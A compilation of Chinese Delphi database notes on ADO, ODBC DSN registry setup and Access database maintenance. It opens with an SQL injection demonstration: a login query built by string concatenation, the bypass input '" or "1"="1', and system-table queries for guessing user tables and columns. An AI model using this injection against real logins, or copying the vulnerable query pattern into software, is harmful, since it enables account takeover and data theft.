procedure TFormLogin.ButtonLoginClick(Sender: TObject);

begin

QueryLogin.SQL.Text := Format(

'SELECT COUNT(*)'#13#10 +

'FROM 用户信息表'#13#10 +

'WHERE 用户编号 = "%s" AND 用户口令 = "%s"'#13#10,

[EditUserId.Text, EditPassword.Text]);

QueryLogin.Open;

if QueryLogin.Fields[0].AsInteger <= 0 then

ShowMessage('口令错误')

else ShowMessage('登录成功');

QueryLogin.Close;

end;

在用户口令框中输入

" or "1"="1

用户名随便。

变成：

'SELECT COUNT(*)'#13#10 +

'FROM 用户信息表'#13#10 +

'WHERE 用户编号 = "asdfasdf" AND 用户口令 = "" or "1"="1"'

条件永远为真。

对用户资料的表名，一般是靠猜的。

Select * From Sysobjects Where (Xtype='U') and ((Name like '%User%') or (Name Like '%Operator%'))

只要知道表名，呵呵，试试下面的

Select Syscolumns.Name ColName,Systypes.Name TypeName,Syscolumns.length From Syscolumns

Join Systypes on Syscolumns.xtype=Systypes.xtype

Where Syscolumns.Id=Object_Id('表名')

获取上述信息之后，可能密码信息是加密的啊，那你还要再费一番功夫的。

回复人： zswang(伴水)(现在是专家门诊清洁工) ( ) 信誉：100 2002-7-17 11:06:06 得分:0

to hnsyf: 思路完全正确！在条件里嵌套查询，只要有时间一切都可以搞定

通过sysobjects猜测表名

通过syscolumns猜测字段名

表名、字段名都知道了，要知道用户密码不是很容易

一个用户ID手工十分钟以内可以破译


Win2000下ADO关闭结果集出错
各位高手：本人用Delphi的ADOStoreProcedure控件，在NT下及一些机器（WIN2000）下均没问题，但WIN2000下大部分机器会在调Close时出来以下错误：

Project Project1.exe raised exception class EOleException with message 'BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需操作要求一个当前的记录。'Process stopped.Use Step or Run to continue.

这时候是EOF为真，把记录退回一条就可以了。但是以前怎么没有这个问题，我程序都没有做这方面的控制，所以要做很大的改动！！！请问高手：是不是我的WIN2000设置有问题？如何解决？

我也遇到，现在解决了。

把ADOStoreProcedure的LockType改为ltOptimistic，不要是用ltBatchOptimistic

还是不行呀，老大！不过我改成ltReadOnly就可以了，幸好我ReadOnly就够了。如果我要Write还是不能解决！！！

去下载delphi patch for ADO 2.6（我想出问题的机器应该是使用ADO2.6吧？）

http://ww6.borland.com/codecentral/ccweb.exe/listing?id=14080

相关控件：diamond ado控件包。免费的adoexpress就是不好用


ADO对象存取ODBC数据库

在DELPHI程序中使用ADO对象存取ODBC数据库

深圳

王发军

---- 作为一个ASP爱好者，笔者经常在ASP页面中使用ADO对象操作ODBC数据库，觉得用ASP创建WEB应用系统确定挺方便的．虽然在编程生涯中，笔者更喜欢Borland系列产品，对微软产品有点排斥，对ASP却是例外．某天，灵机一动，ADO对象是一个标准OLE对象，如果在DELPHI应用程序中能利用ADO操作数据库，应该挺不错．尤其在用DELPHI做网络数据库应用程序时，如果所在的WEB站点是WINNT站点并且支持ASP页面，就可以用ADO对象访问ODBC数据库，而不用把那么大的BDE再上载到站点上去，这样就可充分利用DELPHI和ASP的编程优势，做出更好的ISAPI/NSAPI/CGI．

---- 经过编程和测试，在DELPHI中可以成功地用ADO对象存取ODBC数据库，现将使用经验写出来，与大家共享，让我们多一个访问ODBC数据库的方法．

---- 　　在32位的DELPHI中，可以声明一个variant变量(如AVariant)，然后通过CreateOleObject 创建一个OLE对象，如AVariant:=CreateOleObject('ADODB.Connection')可以获得一个数据库连接对象的实例，然后就可以利用该对象的方法和属性来操作ODBC数据库了．

---- 　　下面简单介绍一下访问ODBC数据库所用到的ADO对象及其方法和属性．

---- 　　１．数据库连接对象(ADODB.Connection)

---- 该对象用于与ODBC数据库建立连接，所有对数据库的操作均通过该连接进行．

---- 数据库连接对象ADODB.Connection的作用象Delphi中的TDatabase对象．

---- 建立一个连接对象的方法为(AConnection为Variant类型变量)：

---- AConnection:=CreateOleObject('ADODB.Connection')

---- 用于建立连接的方法为Open，使用语法为(以对象AConnection为例):

---- AConnection.Open( ConnectionString, UserId, Password )

---- 三个参数均为字符串类型，其中UserId和Password为用户名称和用户密码，用来访问

---- 数据库时使用，可以省略，因为在ConnectionString同样可以指定用户名称和用户 密码．ConnectionString是用来说明ODBC数据源信息的字符串，其格式为：

'Provider=ProviderName;DSN=DSNName;

DRIVER=driver; SERVER=server;

DATABASE=database;

UID=user; PWD=password'

---- 其中：

---- Provider：数据提供者，默认为MSDASQL，为微软OLEDB，通常省略

---- DSN　　 ：要打开的数据库对应的OBDC系统数据源(DSN)，是可选参数

---- DRIVER ：要打开的数据库所用的驱动程序名称，如Access对应

---- Microsoft Access Driver(*.mdb)，是可选参数

---- SERVER　：要打开的数据库所在的服务器名称，本机可用(local)，是可选参数

---- DATABASE：要打开的数据库名称，是可选参数

---- UID　　 ：用户名称，用来访问数据库，是可选参数

---- PWD　　 ：用户密码，用来访问数据库，是可选参数

---- 以上参数均为可选参数，但必须提供足够的信息来描述一个系统数据源．

---- 假如已经定义了一个ODBC的系统DSN，名称为MyDsn，那么就可用以下语句建立一个数据库连接：

----

AConnection.Open('DSN=MyDsn');

---- 为了防止DSN不存在或其设置被他人修改时造成应用程序运行错误，可以用ADODB.Connection创建一个临时ODBC数据源，这样可以保证我们使用的系统DSN的参数设置是正确的．下面的语句可以创建一个临时ODBC系统DSN，对应一个ACCESS数据库，路径为

C:.mdb

AConnection.open('Driver={Microsoft

Access Driver (*.mdb)};DBQ=

C:.mdb')

---- 建立一个ADODB.Connection后，如果不需要返回操作结果(如删除，修改，更新等操作)就可以对数据库进行正常的SQL操作了，此时应用ADODB.Connection的另外一个方法Execute，使用语法为：

AConnection.Execute( strSQL );

---- 其中strSQL为执行操作的SQL语句，如删除操作可以为：delete from wfjcommu 用AConnection.Close关闭一个数据库连接．

---- 　　２．数据集对象(ADODB.RecordSet)

---- 如果要执行查询操作并返回查询结果，或者要更方便地操作数据表，就需要用到数据集对象了．

---- 数据集对象ADODB.RecordSet的作用象Delphi中的TTable或TQuery对象．

---- 建立一个数据集对象的方法为(ARecordSet为Variant类型变量)：

----

ARecordSet:=CreateOleObject('ADODB.RecordSet')

---- 从数据表取得数据的方法为Open方法，具体使用方法为：

ARecordSet.Open( strCommand,ActiveConnection,

intCursorType,intLockType,

intCommandType );

---- 其中： strCommand：字符串，为命令参数，可以是一个Table名称，可以是一个SQL语句，也可以是一个服务器上的存储过程(StoredProc)名称，具体需要后面的参数intCommandType来指定．

---- ActiveConnection：要使用的数据库连接，是一个ADODB.Connection对象．

---- intCursorType：长整数，数据集的Cursor类型，可选参数，请参见程序中注释。

---- intLockType：长整数，对数据表的加锁类型，可选参数，请参见程序中注释。

---- intCommandType：长整数，命令参数的类型，用来指明strCommand的作用，可以指定strCommand为命令(如SQL语句)或数据表(TTable)或储存过程(StoredProc)，可选参数，请参见程序中注释。

---- 如执行一个SQL查询，可以采用如下语句：

ARecordSet.Open('Select

* from wfjcommu',adOpenStatic,

adLockOptimistic,adCmdText);

---- 其它常见属性和方法与TTable和TQuery相比较如下(具体请见ASP帮助文件)：

eof,bof：eof,bof．

MoveFirst, MoveLast：First, Last

MovePrevious, MoveNext：Prior, Next

Move：MoveBy

AddNew：append

Update：Post

Close：close

---- Delete加Update：delete，所有对数据表的修改均须用Update使操作有效，这与Delphi不同

Fields[FieldNo]：Fields[FieldNo]

Fields['FieldName']：FieldByName('FieldName')

---- 　　３．其它常见对象(与Delphi对应的对象)：

----

ADODB.Field：TField ADODB.Parameter：

TPara ADODB.Error：EDBEngineError

ADODB.Command：无 ADODB.Property：无

---- 　　下面来看一个应用例子，听别人说总不如自己看实际的例子来体会。在这个例子中，将演示如何利用ADO对象来对一个数据表进行查询、增加记录、修改记录和删除记录操作。具体的用法请参见程序中的注释，如果有点Delphi数据库编程经验，相信不难理解。

---- 　　在我们的例子使用的数据库为Test.MDB，其中有一个数据表为wfjcommu，有五个字段AName、Portable、Tel、BP、PostAddress，分别表示姓名、手机号、电话号码、呼机号码和通信地址。

----

procedure TForm1.Button1Click(Sender: TObject);

{*****************************************************

---- 用ADO操作ODBC数据库本程序中，将创建一个临时的ODBC系统数据源，指向一个MsAccess数据库，然后对其中的数据表进行显示、增加、修改、删除和查询操作注意：请在Uses语句中包含ComObj单元

*****************************************************}

const{ 一些常量声明，详细请参见adovbs.inc }

{ ---- CommandType的常量说明 ---- }

adCmdUnknown = 0008;//未知,

需要系统来判断,速度慢,为缺省值

adCmdText = 0001;//命令语句如SQL语句

adCmdTable = 0002;//数据表名称

adCmdStoredProc = 0004;//存储过程名称

{ ---- CursorType的常量说明 ---- }

adOpenForwardOnly = 0;//只能由前向后单向访问,为缺省值

adOpenKeyset = 1;//可见其他用户对数据的修改,

但对其它用户的增加和删除不可见

adOpenDynamic = 2;//其他用户对数据的增加修改和删除均可见

adOpenStatic = 3;//其他用户对数据的增加修改和删除均不可见

{---- LockType的常量说明 ---}

adLockReadOnly = 1;//只读,为缺省值

adLockPessimistic = 2;//在修改时,按单个记录锁定

adLockOptimistic = 3;//在修改后更新时,按单个记录锁定

adLockBatchOptimistic = 4;//在成批更新时记录锁定

var

AConnection, ARecordSet : variant;

longintTemp : integer;

strTemp : string;

intIndex : integer;

begin

{创建一个临时的ODBC数据源,

指向一个MsAccess数据库,

并利用此DSN建立一个数据库连接}

AConnection := CreateOleObject('ADODB.Connection');

AConnection.Open('Driver={Microsoft Access Driver

(*.mdb)};DBQ=C:');

{建立一个数据集对象,并从数据表中提取数据}

ARecordSet := CreateOleObject('ADODB.RecordSet');

ARecordSet.open( 'wfjcommu',AConnection,

adOpenStatic,adLockOptimistic,adCmdTable );

memo1.lines.clear;

memo1.lines.add('********数据表原有的内容如下********');

{显示各个域的域名}

strTemp := '';

for intIndex := 0 to ARecordSet.Fields.count - 1 do

strTemp := strTemp + ARecordSet.Fields[intIndex].name+';';

memo1.lines.add( strTemp );

{显示各个域的内容}

while not ARecordSet.eof do

begin

strTemp := '';

for intIndex := 0 to ARecordSet.Fields.count - 1 do

strTemp := strTemp + ARecordSet.Fields

[intIndex].value+';';

memo1.lines.add( strTemp );

ARecordSet.MoveNext;//移到下条，Next

end;

{增加一个记录}

ARecordSet.AddNew;//增加,Append

ARecordSet.Fields['AName'] := '1';

//以FieldByName的方式存取

ARecordSet.Fields['Portable'] := '2';

ARecordSet.Fields(2) := '3';

//以Fields[index]的方式存取

ARecordSet.Fields(3) := '4';

ARecordSet.Fields(4) := '5';

ARecordSet.Update;//更新，Post

ARecordSet.MoveFirst;//移到首条，First

memo1.lines.add('********增加了一条

记录后的数据表的内容如下********');

{显示各个域的内容}

while not ARecordSet.eof do

begin

strTemp := '';

for intIndex := 0 to ARecordSet.

Fields.count - 1 do

strTemp := strTemp +

ARecordSet.Fields[intIndex].value+';';

memo1.lines.add( strTemp );

ARecordSet.MoveNext;//移到下条，Next

end;

{修改最后一条记录}

ARecordSet.MoveLast;

ARecordSet.Fields['AName'] := '11';

//以FieldByName的方式存取

ARecordSet.Fields['Portable'] := '22';

ARecordSet.Fields(2) := '33';

//以Fields[index]的方式存取

ARecordSet.Fields(3) := '44';

ARecordSet.Fields(4) := '55';

ARecordSet.Update;//更新，Post

ARecordSet.MoveFirst;//移到首条，First

memo1.lines.add('********修改了最后一条

记录后的数据表的内容如下********');

{显示各个域的内容}

while not ARecordSet.eof do

begin

strTemp := '';

for intIndex := 0 to

ARecordSet.Fields.count - 1 do

strTemp := strTemp +

ARecordSet.Fields[intIndex].value+';';

memo1.lines.add( strTemp );

ARecordSet.MoveNext;//移到下条，Next

end;

{删除最后一条记录}

ARecordSet.MoveLast;//移到末条，Last

ARecordSet.delete;//删除，delete

ARecordSet.Update;//更新，在Delphi不需要

ARecordSet.MoveFirst;//移到首条，First

memo1.lines.add('********删除了最后一条

记录后的数据表的内容如下********');

{显示各个域的内容}

while not ARecordSet.eof do

begin

strTemp := '';

for intIndex := 0 to ARecordSet.Fields.count - 1 do

strTemp := strTemp + ARecordSet.

Fields[intIndex].value+';';

memo1.lines.add( strTemp );

ARecordSet.MoveNext;//移到下条，Next

end;

ARecordSet.Close;{关闭数据集}

{用SQL语句进行查询,查询姓名为“张三”的记录}

{注意，在SQL语句中，字符串应该用单引号包括起来}

ARecordSet.open( 'select * from wfjcommu

where AName = ''张三''',

AConnection,adOpenStatic,adLockOptimistic,

adCmdText );

memo1.lines.add('********张三的内容如下********');

memo1.lines.add( '共有' + IntToStr

( ARecordSet.RecordCount ) + '条匹配的记录' );

{显示各个域的内容}

while not ARecordSet.eof do

begin

strTemp := '';

for intIndex := 0 to ARecordSet.Fields.count - 1 do

strTemp := strTemp + ARecordSet.Fields

[intIndex].value+';';

memo1.lines.add( strTemp );

ARecordSet.MoveNext;//移到下条，Next

end;

{关闭数据集和数据库连接}

ARecordSet.close;

AConnection.close;

end;

---- 以上程序在PWIN98+DELPHI3.0+PWS(Personal Web Server)4.0下调试通过．

---- 关于ADO对象的详细资料，请参见ASP帮助文件或Interdev帮助文件或OFFICE2000的有关文档


动态创建、压缩Access数据库(*.MDB)
动态创建、压缩Access数据库(*.MDB)

声明：这是前无古人，后无来者的解决方案(有点吹，但是我实在太激动了！)，希望各位能多多关照

创建Access数据库几乎是所有Delphi+Access所遇到的难题，我经过两头(昨天上午到现在)的艰苦奋战，终于将它全部解开，现在一一奉献给大家：

一、通过OLE方式创建

相信各位都用通过OLE方式访问Word、Excel文件的经历，具体我不说太多，直接把具体代码写出来就完了

在引用部分加入：

uses ComObj;

实现部分：

procedure TFormOffice.BitBtn1Click(Sender: TObject);

var

CreateAccess:OleVariant;

begin

CreateAccess:=CreateOleObject('ADOX.Catalog');

CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:.mdb');

end;

说明：

1、在C:\u19979下创建Aceco.mdb；

2、是Access2000格式，用Access97打不开；

3、系统需安装MDAC，这是好消息，客户不需安装Access也可以

二、通过DBEngine创建

这才是关键中的关键，是我一定要写出来的原因！

各位是否还记得安装Delphi的时候，如果你选择自定义安装(我一般用Delphi写控件，所以当然是越小越好)，会有很多安装选项，让你选择Access97或Access2000，还有MDAC等，问题就在这里！Delphi5.0中早就封装了现成的类，只是大家都没有注意而已它位于：

$Delphi5

目录下！

其中有DAO97.DCU文件，它是通过DAO350.DLL来完成的，其中的定义部分和DAO350.DLL如出一辙！OK，到现在，所有的一切都明白了(可惜我花了一天时间！)。那么具体实现起来就太方便了，具体过程如下：

在引用部分加入：

uses DAO97;

实现部分：

procedure TFormOffice.BitBtn4Click(Sender: TObject);

var

Engine:DBEngine;

begin

Engine:=CoDBEngine.Create;

Engine.CreateDatabase('c:.mdb',';LANGID=0x0804;CP=936;COUNTRY=0;',dbEncrypt);

end;

说明：

1、在C:\u19979下创建NewAccess.mdb；

2、语言国家是简体中文；

3、压缩整理数据库用Engine.CompactDatabase('c:.mdb','c:.mdb','',0,'');就是将c:.mdb压缩整理成c:.mdb，剩下的只是将c:.mdb删除(DeleteFile('c:.mdb');)，然后将c:.mdb重新命名(RenameFile('c:.mdb','c:.mdb');)即可。

三、通过Access97创建，然后拷贝

四、通过ODBC的API函数创建

补充：

1、通过OLE方式创建时如果是Access97，那么可能是CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.3.5.1;Data Source=c:.mdb');，嘿嘿，小弟对VB实在是一窍不通，还望各位再测试一下(可以需要MDAC比较低的版本)。

2、关于CreateDatabase中国家的设置：

Module LanguageConstants; // DAO predefined constants.

dbLangArabic = ;LANGID=0x0401;CP=1256;COUNTRY=0;

dbLangCzech = ;LANGID=0x0405;CP=1250;COUNTRY=0;

dbLangDutch = ;LANGID=0x0413;CP=1252;COUNTRY=0;

dbLangGeneral = ;LANGID=0x0409;CP=1252;COUNTRY=0;

dbLangGreek = ;LANGID=0x0408;CP=1253;COUNTRY=0;

dbLangHebrew = ;LANGID=0x040D;CP=1255;COUNTRY=0;

dbLangHungarian = ;LANGID=0x040E;CP=1250;COUNTRY=0;

dbLangIcelandic = ;LANGID=0x040F;CP=1252;COUNTRY=0;

dbLangNordic = ;LANGID=0x041D;CP=1252;COUNTRY=0;

dbLangNorwDan = ;LANGID=0x0414;CP=1252;COUNTRY=0;

dbLangPolish = ;LANGID=0x0415;CP=1250;COUNTRY=0;

dbLangCyrillic = ;LANGID=0x0419;CP=1251;COUNTRY=0;

dbLangSpanish = ;LANGID=0x040A;CP=1252;COUNTRY=0;

dbLangSwedFin = ;LANGID=0x040B;CP=1252;COUNTRY=0;

dbLangTurkish = ;LANGID=0x041F;CP=1254;COUNTRY=0;

dbLangJapanese = ;LANGID=0x0411;CP=932;COUNTRY=0;

dbLangChineseSimplified = ;LANGID=0x0804;CP=936;COUNTRY=0;

dbLangChineseTraditional = ;LANGID=0x0404;CP=950;COUNTRY=0;

dbLangKorean = ;LANGID=0x0412;CP=949;COUNTRY=0;

dbLangThai = ;LANGID=0x041E;CP=874;COUNTRY=0;

dbLangSlovenian = ;LANGID=0x0424;CP=1250;COUNTRY=0;

3、关于CreateDatabase中数据库版本信息

Enum DatabaseTypeEnum;

dbVersion10 = 1;

dbEncrypt = 2;

dbDecrypt = 4;

dbVersion11 = 8;

dbVersion20 = 16;

dbVersion30 = 32;

4、其它方面，希望各位再加补充。

StarFarm-->Hank

2000/12/29


ADO连接超时、意外中断等错误号
下面是错误的代码解释:

************************************************************

常量名称 编号 说明

adErrInvalidArgument 3001

0x800A0BB9

应用程序使用的参数其类型错误、超出可接受的范围或者与其他参数冲突。

adErrNoCurrentRecord 3021

0x800A0BCD

BOF 或 EOF 为 True，或者当前记录已经删除。应用程序请求的*作需要当前记录。

adErrIllegalOperation 3219

0x800A0C93

应用程序请求的*作不允许出现在该上下文中

adErrInTransaction 3246

0x800A0CAE

在事务中应用程序无法显式关闭 Connection 对象。

adErrFeatureNotAvailable 3251

0x800A0CB3

提供者不支持应用程序请求的*作。

adErrItemNotFound 3265

0x800A0CC1

ADO 无法在对应于应用程序请求的名称或顺序引用的集合中找到对象。

adErrObjectInCollection 3367

0x800A0D27

无法追加，对象已经在集合中。

adErrObjectNotSet 3420 0x800A0D5C 应用程序引用的对象不再指向有效的对象。

adErrDataConversion 3421

0x800A0D5D

应用程序使用了不符合对当前*作的值类型。

adErrObjectClosed 3704

0x800A0E78

如果对象关闭，则不允许应用程序请求的*作。

adErrObjectOpen 3705

0x800A0E79

如果对象打开，则不允许应用程序请求的*作。

adErrProviderNotFound 3706

0x800A0E7A

ADO 找不到指定的提供者。

adErrBoundToCommand 3707

0x800A0E7B

应用程序无法用 Command 对象将 Recordset 对象的 ActiveConnection 属性更改为它

的来源数据。

adErrInvalidParamInfo 3708

0x800A0E7C

应用程序错误地定义了 Parameter 对象。

adErrInvalidConnection 3709

0x800A0E7D

应用程序通过引用关闭或无效的 Connection 对象来请求对对象的*作。

*******************************************************************

枫叶漫舞

http://netally.myetang.com


检测系统是否已安装ADO驱动程序
function ADOInstalled : Boolean;

var

r : TRegistry;

s : string;

begin

r := TRegistry.create;

try

with r do

begin

RootKey := HKEY_CLASSES_ROOT;

OpenKey( '\ADODB.Connection\CurVer', false );

s := ReadString('');

if s <> '' then Result := True

else Result := False;

CloseKey;

end;

finally

r.free;

end;

end;


在Delphi程序中动态设置ODBC数据源
在Delphi程序中动态设置ODBC数据源

    在DELPHI数据库应用程序中，我们访问数据库通常有两种方法．一种是通过BDE数 据库搜索引擎，即利用DELPHI自带的数据库驱动程序，这种方法的优点是速度快，但应 用范围有限，当数据库版本更新时，有可能不能用于操作新的数据库；另一种方法是通过 ODBC，这种方法的优点是可以随操作系统(如WINDOWS)提供，作为标准接口能适应多 种数据库，缺点是速度慢．在编程时，我们可以根据需要选择其中的一种方法．

    在利用ODBC访问数据库时，通常的方法时是在ODBC管理面板中设置一个ODBC 系统数据源 (系统DSN)，然后在DBD中或在程序中设置一个数据库别名(Alias)对应该 DSN，这样就可以如愿以偿地操作数据库了．相信用DELPHI做过数据库应用的程序员对 这方面已经很熟悉了，笔者就不多说了．在实际应用中，笔者曾遇到过这样的情况，我们 的数据库应用程序是依靠ODBC系统数据源访问和操作数据库的，应用程序运行一直良好， 直到某一天，一个对WINDOWS系统较为熟悉但又不太精通的用户不慎修改或删除了我们 预先设置的系统DSN......

    于是，笔者就开始研究怎么在程序中动态地设置ODBC系统DSN的内容，这样就可 以增加自己程序的坚固性了．经过整整一天对WINDOWS注册表的研究，终于找到了ODBC 管理程序设置DSN的秘密（＂天地自有公道，付出总会回报！＂，不是做广告！），现写出 来与大家共享，也请高手指教．

    ODBC管理程序设置DSN的秘密在注册表中，不信可以到 HKEY_LOCAL_MACHINE去看看，肯定让你感觉已经成功了一半．

    首先来看看系统中已安装的ODBC数据库驱动程序．在 HKEY_LOCAL_MACHINE ODBCInst.INI中，存放着已经安装了的ODBC 数据库驱动程序的信息，从这里可以查到已安装的ODBC数据库驱动程序对应的DLL文 件等信息．在ODBCInst.INIDrivers的各个键值中，键名是驱动程序名称(如Microsoft Access Driver(*.mdb))，键值为“Installed"，表示驱动程序已安装．在 ODBCInst.INI(DriverName为一个驱动程序名称，如Microsoft Access Driver(*.mdb)) 中，有驱动程序的详细信息，我们主要从这里获得ODBC驱动程序对应的 DLL文件的路径和文件名，即键名Driver的键值，一般为 "C:.DLL"．

    然后来看系统DSN的注册信息，在 HKEY_LOCAL_MACHINE.INI中，存放着系统 DSN的注册信息， 我们在ODBC管理面板设置的DSN参数就在这里．

    下面来看看创建一个ODBC系统DSN的步骤，即我们在ODBC管理面板中完成参数 设置后，ODBC管理程序是怎么在注册表中注册DSN信息的．以创建一个名称为MyAccess 的Ms Access97类型的系统DSN为例，我们指定的参数主要有数据库类型(Microsoft Access Driver(*.mdb))、数据源名称(MyAccess)、数据源描述(我的ACCESS)、数据库路径 (C:.mdb)，其它参数如用户名称、用户密码、独占、只读、系统数据库、默认目录、缓冲区大小、扫描行数、页超时等采用系统缺省参数．这时，注册系统DSN 一般应有以下几个步骤：

    1.在HKEY_LOCAL_MACHINE.INIData Sources中增加 一个字符串键值，为MyAccess = Microsoft Access Driver(*.mdb)，其中分别为数据源名称 和数据库类型．这是在注册表中注册一个系统DSN名称．

    2.在HKEY_LOCAL_MACHINE.INI中创建一个子键 (SubKey)MyAccess，即创建一个键为 HKEY_LOCAL_MACHINE.INI，然后在其下创建一些键值，详细描述一个系统DSN的配置信息，主要信息有([]中的内容为笔者注释)：

  DBQ=C:.mdb [字符串，表示数据库路径]

  Description=我的ACCESS [字符串，表示数据库描述]

  Driver=C:.dll [字符串，表示驱动程序，可见ODBCINST.INI]

  DriverId=0x00000019(25) [数字，表示驱动程序标识，不能改变]

  FIL=Ms Access; [字符串，可能与过滤Filter有关]

  SafeTransaction=0x00000000 [数字，可能表示支持事务性操作的个数]

  UID="" [字符串，表示用户名称，此处为空字符串]

    3.在HKEY_LOCAL_MACHINE.INI中创建一个子键 (SubKey)Engines， 再在其下创建子键(SubKey)Jet，即创建一个键为 HKEY_LOCAL_MACHINE.INI，然后在其下创建一些 键值，详细描述一个系统DSN的数据库引擎配置信息，主要信息有([]中的内容 为笔者注释)：

  ImplicitCommitSync=Yes [字符串，可能表示是否立即反映数据修改]

  MaxBufferSize=0x00000200(512) [数字，表示缓冲区大小]

  PageTimeout=0x00000005(5) [数字，表示页超时]

  Threads=0x00000003(3) [数字，可能表示支持的最大线程数目]

  UserCommitSync=Yes [字符串，可能表示是否立即将数据修改反映到用户]

    以上是建立一个系统DSN的基本信息(其它信息如选项或高级选项等信息也在这 里设置，只不过因采用默认信息，注册表里没有列出)，我们在程序中按上述步骤操作注册 表，同样也能增加一个系统DSN或修改其配置．在下面的例子程序中，将按以上步骤建立 一个系统DSN，请注意程序中的注释．

{*******************************************************

在本程序中，将创建一个ODBC系统数据源(DSN)， 数据源名称：MyAccess 数据源描述：我的新数据源 数据库类型:ACCESS97 对应数据库：C:.mdb

*******************************************************}

{ 注意应在USES语句中包含Registry }

procedure TForm1.Button1Click(Sender: TObject);

var registerTemp : TRegistry;

    bData : array[ 0..0 ] of byte;

begin

  registerTemp := TRegistry.Create; //建立一个Registry实例

  with registerTemp do begin

    RootKey:=HKEY_LOCAL_MACHINE; //设置根键值为HKEY_LOCAL_MACHINE

    //找到Software.INIData Sources

    if OpenKey('Software.INI Data Sources',True) then

       begin

         //注册一个DSN名称

         WriteString( 'MyAccess', 'Microsoft Access Driver (*.mdb)' );

       end

     else

       begin

         //创建键值失败

         memo1.lines.add('增加ODBC数据源失败');

         exit;

      end;

    CloseKey;

    //找到或创建Software.INI ,写入DSN配置信息

    if OpenKey('Software.INI ',True) then

       begin

         WriteString( 'DBQ', 'C:.mdb' );//数据库目录

         WriteString( 'Description', '我的新数据源' );//数据源描述

         WriteString( 'Driver', 'C: odbcjt32.dll' );//驱动程序DLL文件

         WriteInteger( 'DriverId', 25 ); //驱动程序标识

         WriteString( 'FIL', 'Ms Access;' ); //Filter依据

         WriteInteger( 'SafeTransaction', 0 ); //支持的事务操作数目

         WriteString( 'UID', '' );//用户名称

         bData[0] := 0;

         WriteBinaryData( 'Exclusive', bData, 1 ); //非独占方式

         WriteBinaryData( 'ReadOnly', bData, 1 ); //非只读方式

      end

   else //创建键值失败

      begin

        memo1.lines.add('增加ODBC数据源失败');

        exit;

      end;

   CloseKey;

   //找到或创建Software.INI

   //写入DSN数据库引擎配置信息

  if OpenKey('Software.INI ',True) then

     begin

       WriteString( 'ImplicitCommitSync', 'Yes' );

       WriteInteger( 'MaxBufferSize', 512 );//缓冲区大小

       WriteInteger( 'PageTimeout', 10 );//页超时

       WriteInteger( 'Threads', 3 );//支持的线程数目

       WriteString( 'UserCommitSync', 'Yes' );

     end

   else//创建键值失败

     begin

       memo1.lines.add('增加ODBC数据源失败');

       exit;

     end;

   CloseKey;

   memo1.lines.add('增加新ODBC数据源成功');

   Free;

  end;

end;

    以上程序在PWIN98+DELPHI3.0下调试通过．

    下面是创建常见数据库类型的DSN需要设置的信息([]为注释内容，除特殊注释外，各 参数可见前面说明)：

    １．Access(Microsoft Access Driver(*.mdb))

DBQ、Description、Driver[odbcjt32.dll]、 DriverID[25]、FIL[Ms Access;]、

SafeTransaction[默认为0]、UID[默认为空]、

Engines[默认为Yes]、

Engines[默认512]、

Engines[默认为512]、

Engines[默认为3]、

Engines[默认为Yes]

可选设置：

SystemDb[字符串，系统数据库的路径]、

ReadOnly[二进制，是否以只读方式打开，1为是，默认为0]、

Exclusive[二进制，是否以独占方式打开，1为是，默认为0]、

PWD[字符串，用户密码]

    ２．EXCEL(Microsoft Excel Driver(*.xls))

DBQ[Excel97(=path.xls)、5.0/7.0 (=path.xls)、4.0(=path)、3.0(=path)]、

Description、Driver[odbcjt32.dll]、

DefaultDir[Excel97(< >DBQ)、5.0/7.0 (< >DBQ)、4.0(=DBQ)、3.0(=DBQ)]、

DriverID[790(Excel97)、22(5.0/7.0)、278(4.0)、534(3.0)]、

FIL[Excel5.0;]、ReadOnly、SafeTransaction、UID、

Engines、

Engines[数字，扫描行数，默认为8]、

Engines、

Engines、

Engines[二进制，第一行是否是域名， 1表示是，默认为1]

    注: Excel97和Excel7.0/5.0的DBQ对应一个XLS文件，而Excel4.0和Excel3.0则对应 一个目录；DefaultDir对应一个目录，在Excel97和Excel7.0/5.0中是DBQ所对应的路径， 而在Excel4.0和Excel3.0下则与DBQ相同；各个版本的DriverID不同．

    ３．dBase(Microsoft dBase Driver(*.dbf))

DefaultDir[字符串，数据库文件所在目录]、

Description、Driver[odbcjt32.dll]、

DriverID[277(IV)、533(5.0)]、

FIL[dbase III;]、SafeTransaction、UID、

Engines、

Engines[字符串，排序依据， 可为ASCII、International、Norwegian-Danish、 Swedish-Finnish]、

Engines[二进制，是否不显示 被软删除的记录，0表示显示，默认为1]、

Engines[默认为600]、

Engines、

Engines、

Engines[二进制，是否用大约的行数，1为是，默认0] 注：(dBaseIV和dBase5.0两个版本的DriverId有不同)

    ４．Foxpro(Microsoft Foxpro Driver(*.dbf))

DefaultDir[数据库文件所在目录]、

Description、Driver[odbcjt32.dll]、

DriverID[536(2.6)、280(2.5)]、

FIL[Foxpro 2.0;]、SafeTransaction、UID、

Engines[字符串， 排序依据，可为ASCII、International]、

Engines[二进制，是否不显示 被软删除的记录，0表示显示，默认为1]、

Engines[默认为600]、

Engines、

Engines、

Engines[二进制，是否用大约的行数，1为是，默认0] 注：(Foxpro2.5和Foxpro2.6两个版本的DriverId有不同)

    把上面程序做成一个COM或ActiveX控件吧，在很多高级程序设计语言如DELPHI、 C++Buider、VB、VC、PB中都能用到的．

作者: 深圳 王发军


对access数据库维护
{***************************************************************

*

* Unit Name: unAccessTools

* Purpose : Provide tools to compact and repair Access database.

*

****************************************************************}

unit unAccessTools;

interface

uses Sysutils,ComObj,Dialogs;

function DaoActive(var DaoObject:OleVariant):Boolean;

function DaoCompactDB(const FileName:string):Boolean;

function DaoRepairDB(const FileName:string):Boolean;

implementation

function DaoActive(var DaoObject:OleVariant):Boolean;

begin

Result:=False;

try

DaoObject:=GetActiveOleObject('DAO.DBEngine.36');

Result:=True;

except

try

DaoObject:=CreateOleObject('DAO.DBEngine.36');

Result:=True;

except

DaoObject:=Null;

end;

end;

end;

//压缩Access数据库

function DaoCompactDB(const FileName:string):Boolean;

var

db:OleVariant;

TempFile:string;

begin

Result:=False;

try

if not DaoActive(db) then

Exit;

try

TempFile:=ExtractFilePath(FileName)+'msaTemp.mdb';

db.CompactDatabase(FileName,TempFile);

DeleteFile(FileName);

RenameFile(TempFile,FileName);

Result:=True;

except

on E:EOleException do

ShowMessage(E.Message);

end

finally

db:=Unassigned;

end;

end;

//修复Access数据库

function DaoRepairDB(const FileName:string):Boolean;

var

db:OleVariant;

begin

Result:=False;

try

if not DaoActive(db) then

Exit;

try

db.RepairDatabase(FileName);

Result:=True;

